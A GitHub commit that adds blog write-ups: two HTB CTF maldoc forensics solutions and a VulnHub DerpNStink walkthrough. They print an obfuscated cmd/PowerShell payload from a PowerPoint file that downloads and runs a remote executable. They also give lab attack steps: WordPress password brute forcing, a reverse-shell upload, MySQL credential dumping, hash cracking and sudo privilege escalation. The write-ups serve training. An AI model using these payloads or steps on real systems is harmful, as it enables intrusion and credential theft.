Skip to content

Commit 3b69d29

Browse files
committed
added writeups
1 parent 6563026 commit 3b69d29

File tree

56 files changed

+2496
-15
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

56 files changed

+2496
-15
lines changed

_config.yml

+12-12
Original file line numberDiff line numberDiff line change
@@ -14,32 +14,32 @@ timezone:
1414
# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md
1515
# ↓ --------------------------
1616

17-
title: Chirpy # the main title
17+
title: Abhishek's Blog # the main title
1818

19-
tagline: A text-focused Jekyll theme # it will display as the sub-title
19+
tagline: Notes, Posts, Writeups # it will display as the sub-title
2020

2121
description: >- # used by seo meta and the atom feed
22-
A minimal, responsive and feature-rich Jekyll theme for technical writing.
22+
Abhishek's Blog - Software Developer, Penetration Testing, Cyber Security
2323
2424
# Fill in the protocol & hostname for your site.
2525
# e.g. 'https://username.github.io', note that it does not end with a '/'.
26-
url: ""
26+
url: "https://abhishekakade.github.io"
2727

2828
github:
29-
username: github_username # change to your github username
29+
username: abhishekakade # change to your github username
3030

3131
twitter:
32-
username: twitter_username # change to your twitter username
32+
username: # change to your twitter username
3333

3434
social:
3535
# Change to your full name.
3636
# It will be displayed as the default author of the posts and the copyright owner in the Footer
37-
name: your_full_name
38-
email: example@domain.com # change to your email address
37+
name: Abhishek K
38+
email: 0xkirito@protonmail.com # change to your email address
3939
links:
4040
# The first element serves as the copyright owner's link
41-
- https://twitter.com/username # change to your twitter homepage
42-
- https://github.com/username # change to your github homepage
41+
- https://twitter.com/0xKirito # change to your twitter homepage
42+
- https://github.com/abhishekakade # change to your github homepage
4343
# Uncomment below to add more social links
4444
# - https://www.facebook.com/username
4545
# - https://www.linkedin.com/in/username
@@ -86,7 +86,7 @@ pageviews:
8686
# light - Use the light color scheme
8787
# dark - Use the dark color scheme
8888
#
89-
theme_mode: # [light | dark]
89+
theme_mode: dark # [light | dark]
9090

9191
# The CDN endpoint for media resources.
9292
# Notice that once it is assigned, the CDN url
@@ -96,7 +96,7 @@ theme_mode: # [light | dark]
9696
cdn:
9797

9898
# the avatar on sidebar, support local or CORS resources
99-
avatar:
99+
avatar: "/assets/img/kirito.jpeg"
100100

101101
# The URL of the site-wide social preview image used in SEO `og:image` meta tag.
102102
# It can be overridden by a customized `page.image` in front matter.
+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
---
2+
title: "HTB Cyber Apocalypse CTF - AlienPhish"
3+
# author:
4+
# name: 0xKirito
5+
# link: https://github.com/0xKirito
6+
date: 2021-04-27T05:17:41+05:30
7+
categories: [Writeups, CTF]
8+
tags: [HTB, CTF, Forensics, Maldocs, Malware Analysis]
9+
render_with_liquid: false
10+
---
11+
12+
## AlienPhish - PowerPoint File Forensics
13+
14+
- I came up with this cool little trick on the spot and decided to use VS Code to just search through all the files at once.
15+
- Extract the PowerPoint file with `unzip file.pptx` and then open the entire directory in VS Code (`code .` if you have it set up that way in terminal/env) for searching through all the files quickly and easily. I use VS Code. You can use any other code editor you use/like that can search through all the files at once (or you could use `grep` but I'd rather go through everything with a code editor when doing any kind of file forensics).
16+
- Search for keywords like `vba`, `cmd`, `exe`, etc.
17+
- Found what I wanted immediately in `slide1.xml.rels` file with `cmd` and `exe` keyword search.
18+
- That file had a malicious `cmd` payload in `Target` attribute:
19+
20+
```
21+
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&amp;&amp;for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&amp;&amp;if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22" TargetMode="External"/>
22+
```
23+
24+
```
25+
"cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&amp;&amp;for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&amp;&amp;if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22"
26+
```
27+
28+
- We can tell from the URL `exe.x/neila.htraeyortsed/:ptth` that some part of the payload is reversed.
29+
- But the file name that this powershell command is downloading looks like an encoded string.
30+
- `99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q` looked like an encoded value so went to [CyberChef](https://gchq.github.io/CyberChef/), reversed and decoded to Base64 and got the flag.
31+
- Encoded Value <span class="fat-arrow">=></span> Reverse <span class="fat-arrow">=></span> `Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99` <span class="fat-arrow">=></span> Base64 Decode <span class="fat-arrow">=></span> Flag <span class="fat-arrow">=></span> `CHTB{pH1sHiNg_w0_m4cr0s>??}`
32+
- But that flag was not accepted and showed incorrect. Probably some decoding error so I went back to [CyberChef](https://gchq.github.io/CyberChef/) and in Base64 Decoding, there was an option for `URL Safe` decoding which gave <span class="fat-arrow">=></span> `CHTB{pH1sHiNg_w0_m4cr0s???}`. This was one accepted.
33+
+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
---
2+
title: "HTB Cyber Apocalypse CTF - Invitation"
3+
# author:
4+
# name: 0xKirito
5+
# link: https://github.com/0xKirito
6+
date: 2021-04-27T05:17:41+05:30
7+
categories: [Writeups, CTF]
8+
tags: [HTB, CTF, Forensics, Maldocs, Malware Analysis]
9+
render_with_liquid: false
10+
---
11+
12+
## Invitation - Maldoc Analysis Breakdown
13+
14+
- Extract the `.docm` file: `unzip file.docm`. We will get one directory named `word` which will have a `vbaProject.bin` file in it. Thats what we need.
15+
- Use Python [OleTools](https://github.com/decalage2/oletools) to read the `vbaProject.bin` file.
16+
- `olevba3 --decode --deobf --reveal vbaProject.bin` (you can play around with these options but `--deobf` flag didn't work for me so had to manually do everything. Maybe I was doing something wrong).
17+
18+
[Trick to deobfuscate malware code from Unicorns of Security's writeup](https://ctftime.org/writeup/27836)
19+
20+
> My favorite trick is always to ask malware to deobfuscate itself for us. It can save a lot of time in case of more complex obfuscation scenarios. In this case I added this one line to the code: `ActiveDocument.Content.InsertAfter Text:=odsuozldxufm` and then ran the macro again.
21+
22+
- We will get hundreds of hex strings (encoded VBA). Use a good code editor to copy all of them at once and paste it in CyberChef.
23+
- In [CyberChef](https://gchq.github.io/CyberChef/), add 'From Hex', then add 'From Base64', then add 'Remove null bytes' to get rid of all the pesky little dots/periods and hit BAKE!.
24+
- Decode Hex strings <span class="fat-arrow">=></span> Decode Base64 <span class="fat-arrow">=></span> Remove Null Bytes <span class="fat-arrow">=></span> Manual Code Review.
25+
- We will find the strings for flag in the code upon code review but they are a bit jumbled up and reversed. So we will need to fix that manually to get the flag. And the flag string is in two different but similar code blocks. So we will also need to piece it together.
26+
27+
```
28+
SEt ("G8"+"h") ( " ) )63]Rahc[,'raZ'EcalPeR- 43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[( eCAlpERc- )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . " ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue.LengtH)] | IeX
29+
```
30+
31+
- `atem_we'+'n_eht'+'_2N1` <span class="fat-arrow">=></span> `atem_wen_eht_` <span class="fat-arrow">=></span> `_the_new_meta`
32+
33+
```
34+
. ( $PshomE[4]+$pshoMe[30]+'x') ( [strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} )) )
35+
```
36+
37+
- `tX'+'jera_scodlam'`
38+
- The `tXj` or `jXt` reversed, is actually getting replaced with something else as we can see in the code, so it is not a part of the string we need.
39+
- `era_scodlam` <span class="fat-arrow">=></span> `maldocs_are`
40+
- And piecing everything together <span class="fat-arrow">=></span> `CHTB{maldocs_are_the_new_meta}`
+234
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,234 @@
1+
---
2+
title: "DerpNStink - VulnHub"
3+
# author:
4+
# name: 0xKirito
5+
# link: https://github.com/0xKirito
6+
date: 2021-05-06 04:57:39 +05:30
7+
categories: [Writeups, VulnHub]
8+
media_subpath: /assets/img/writeups/derpnstink/
9+
tags: [VulnHub, WordPress, MySQL]
10+
render_with_liquid: false
11+
---
12+
13+
## DerpNStink VulnHub Walkthrough
14+
15+
### Recon & Enumeration
16+
17+
- `sudo netdiscover -i eth0 -r 10.0.2.0/24`
18+
- DerpNStink IP: `10.0.2.8`
19+
20+
#### Nmap
21+
22+
- `nmap -Pn -sS -p- -A 10.0.2.8`
23+
24+
```
25+
10.0.2.8:21/tcp => vsftpd 3.0.2
26+
10.0.2.8:22/tcp => OpenSSH 6.6.1p1
27+
10.0.2.8:80/tcp => Apache httpd 2.4.7
28+
```
29+
30+
- In HTML source code:
31+
```
32+
flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)
33+
```
34+
35+
#### GoBuster
36+
37+
```
38+
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.2.8 -t 60 -x txt
39+
```
40+
41+
```
42+
/weblog (Status:301) [Size:304] [http://10.0.2.8/weblog/]
43+
/php (Status:301) [Size:301] [http://10.0.2.8/php/]
44+
/css (Status:301) [Size:301] [http://10.0.2.8/css/]
45+
/js (Status:301) [Size:300] [http://10.0.2.8/js/]
46+
/javascript (Status:301) [Size:308] [http://10.0.2.8/javascript/]
47+
/robots.txt (Status:200) [Size:53]
48+
/temporary (Status:301) [Size:307] [http://10.0.2.8/temporary/]
49+
/server-status (Status:403) [Size:288]
50+
```
51+
- `/weblog` redirected to `http://derpnstink.local/weblog`. So we will need to add it to the hosts file.
52+
- `echo 10.0.2.8 derpnstink.local | tee -a /etc/hosts`
53+
- Then visit `http://derpnstink.local/weblog`.
54+
- Its a WordPress blog.
55+
56+
---
57+
58+
### Exploitation
59+
60+
```
61+
wpscan --url http://derpnstink.local/weblog -e at -e ap -e u
62+
```
63+
64+
```
65+
WordPress theme in use: twentysixteen
66+
Location: http://derpnstink.local/weblog/wp-content/themes/twentysixteen/
67+
Last Updated: 2021-03-09T00:00:00.000Z
68+
Readme: http://derpnstink.local/weblog/wp-content/themes/twentysixteen/readme.txt
69+
The version is out of date, the latest version is 2.4
70+
71+
Plugin(s) Identified:
72+
73+
slideshow-gallery
74+
Location: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/
75+
Last Updated: 2019-07-12T13:09:00.000Z
76+
The version is out of date, the latest version is 1.6.12
77+
Found By: Urls In Homepage (Passive Detection)
78+
Version: 1.4.6 (100% confidence)
79+
Found By: Readme - Stable Tag (Aggressive Detection)
80+
- http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt
81+
Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
82+
- http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt
83+
84+
User(s) Identified:
85+
- admin
86+
```
87+
88+
- We got a username: `admin`. Now to brute force for password:
89+
90+
```
91+
wpscan --url http://derpnstink.local/weblog/ -U admin -P /usr/share/wordlists/rockyou.txt -t 60
92+
```
93+
94+
```
95+
Valid Combinations Found:
96+
Username: admin, Password: admin
97+
```
98+
99+
- Honestly, I should have just tried `admin:admin` before even running `wpscan` but, oh well.
100+
- Go to `/weblog/wp-admin/` and log in with `admin` : `admin`
101+
- Go to Slideshow, click on one of the available ones, in there, under Choose Image option, select a file to upload. Choose PHP reverse shell file (with IP and port changed to connect back to our Kali VM) and it will be accepted without even changing extension.
102+
- Or you can use this exploit to upload the shell since we already have user credentials: [WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload](https://www.exploit-db.com/exploits/34681).
103+
104+
```python
105+
python wp_slideshow_exploit.py -t http://derpnstink.local/weblog -u admin -p admin -f php-shell.php
106+
```
107+
108+
- Start a netcat listener: `nc -lvnp 1234`
109+
- Then go back to Slideshow and click on the slideshow that has PHP reverse shell file and we will get a reverse shell as `www-data`.
110+
- `cd /var/www/html/weblog` and `ls -la`
111+
- We have read access to `wp-config.php` so `cat wp-config.php`
112+
113+
```
114+
/** The name of the database for WordPress */
115+
define('DB_NAME', 'wordpress');
116+
117+
/** MySQL database username */
118+
define('DB_USER', 'root');
119+
120+
/** MySQL database password */
121+
define('DB_PASSWORD', 'mysql');
122+
```
123+
124+
- `mysql -u root -p` <span class="fat-arrow">=></span> `mysql`
125+
- `show databases;`
126+
- `use mysql;`
127+
- `show tables;`
128+
- `select * from user;`
129+
- DerpNStink MySQL Commands:
130+
131+
![DerpNStink MySQL Commands](derpnstink_mysql_commands.png){: w="300" h="400" }
132+
_DerpNStink MySQL Commands_
133+
134+
135+
- Dumping users & passwords from MySQL:
136+
137+
![Dumping Users & Passwords from MySQL](derpnstink_mysql_users_passwords.png){: w="600" h="400" }
138+
_Dumping Users & Passwords from MySQL_
139+
140+
- And we get a few MySQL password hashes. Used [CrackStation](https://crackstation.net/) to crack them:
141+
142+
```
143+
root = E74858DB86EBA20BC33D0AECAE8A8108C56B17FA = mysql
144+
unclestinky = 9B776AFB479B31E8047026F1185E952DD1E530CB = wedgie57
145+
phpmyadmin = 4ACFE3202A5FF5CF467898FC58AAB1D615029441 = admin
146+
```
147+
148+
- Lets try `unclestinky : wedgie57` on user `stinky`.
149+
- `su stinky` <span class="fat-arrow">=></span> `wedgie57` and it works.
150+
- There is a `ftp` directory in `/stinky` and if we keep going in, there is a `key.txt` file which has `ssh` key for user `stinky`
151+
152+
```
153+
/home/stinky/ftp/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt
154+
```
155+
156+
- But we can also get it from `/home/stinky/.ssh`
157+
- `cd /home/stinky/.ssh` and start a python server with `python3 -m http.server 5959` and then get the `id_rsa` key from `derpnstink.local:5959/id_rsa` using a browser or via `wget`.
158+
- `chmod 600 id_rsa` and then log in via `ssh`:
159+
- `ssh -i id_rsa [email protected]`
160+
- `cd /home/stinky/Desktop && ls -la`
161+
- `cat flag.txt`
162+
163+
```
164+
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
165+
```
166+
167+
- `cd /home/stinky/Documents && ls -la` there is a `derpissues.pcap` file.
168+
- `strings derpissues.pcap` to get the general idea of traffic recorded.
169+
- There are a few HTTP POST requests in there without SSL/TLS, thus, unencrypted. So we can start looking at them. Or we can `grep` for the username we already have: `mrderp`. I tried it both ways.
170+
- `strings derpissues.pcap | grep -n mrderp`
171+
- This gives 7 results but the first one itself reveals the password that was used while creating the account for `mrderp` and the second one reveals it again when it was used for logging in as `mrderp`.
172+
173+
```
174+
56710:action=createuser&_wpnonce_create-user=b250402af6&_wp_http_referer=%2Fweblog%2Fwp-admin%2Fuser-new.php&user_login=mrderp&email=mrderp%40derpnstink.local&first_name=mr&last_name=derp&url=%2Fhome%2Fmrderp&pass1=derpderpderpderpderpderpderp&pass1-text=derpderpderpderpderpderpderp&pass2=derpderpderpderpderpderpderp&pw_weak=on&role=administrator&createuser=Add+New+User
175+
57149:log=mrderp&pwd=derpderpderpderpderpderpderp&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1
176+
```
177+
178+
- The other method is to filter POST requests and to look for passwords in unencrypted/plain text parameters.
179+
- So to filter the `strings` results for just those POST requests:
180+
- `strings derpissues.pcap | grep POST`
181+
- It lists all the POST requests but we can filter out the others that we don't need and focus only on POST requests made to `/weblog/wp-login.php`
182+
- `strings derpissues.pcap | grep -A 20 "POST /weblog/wp-login.php"`
183+
- `grep -A 20` to print the next 20 lines that come after the expected result of `grep`.
184+
- Now there are only three such POST requests and the username and password payload being sent through them is in plain text.
185+
186+
```
187+
1: log=unclestinky%40derpnstink.local&pwd=wedgie57&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1c3
188+
2: log=mrderp&pwd=derpderpderpderpderpderpderp&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1
189+
```
190+
191+
- We already have `stinky`'s or `unclestinky`'s password: `wedgie57` and now we also have `mrderp`'s password: `derpderpderpderpderpderpderp`
192+
- `su mrderp` <span class="fat-arrow">=></span> `derpderpderpderpderpderpderp` and we are now logged in as `mrderp`!
193+
- `mrderp` : `derpderpderpderpderpderpderp`
194+
195+
---
196+
197+
### Privilege Escalation
198+
199+
- `sudo -l` <span class="fat-arrow">=></span> `derpderpderpderpderpderpderp`
200+
201+
```
202+
User mrderp may run the following commands on DeRPnStiNK:
203+
(ALL) /home/mrderp/binaries/derpy*
204+
```
205+
206+
- If you `cd /home/mrderp/Desktop/ && ls`, there is a `helpdesk.log` file which has a pastebin link inside: `https://pastebin.com/RzK9WfGw`. This pastebin also tells us the same thing that `sudo -l` says.
207+
- So back to privilege escalation, there is no `/home/mrderp/binaries/` directory so lets create one.
208+
- `cd /home/mrderp` and then `mkdir binaries && cd binaries`
209+
- Then create a bash script (any script/executable will work here) that we can execute with `sudo`.
210+
- `touch derpy.sh`
211+
- `echo /bin/bash > derpy.sh`
212+
- Then `chmod +x derpy.sh` and then execute it with:
213+
`sudo ./derpy.sh` and we are now `root`!
214+
- `whoami` <span class="fat-arrow">=></span> `root`
215+
- `cd /root/Desktop && ls -la`
216+
- `cat flag.txt`
217+
218+
```
219+
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
220+
221+
Congrats on rooting my first VulnOS!
222+
Hit me up on twitter and let me know your thoughts!
223+
@securekomodo
224+
```
225+
226+
<!-- ### Possible Kernel Exploit
227+
228+
- `uname -a`
229+
```
230+
Linux DeRPnStiNK 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux
231+
```
232+
- Kernel exploit could be possible. Try kernel exploit later.
233+
-->
234+

0 commit comments

Comments
 (0)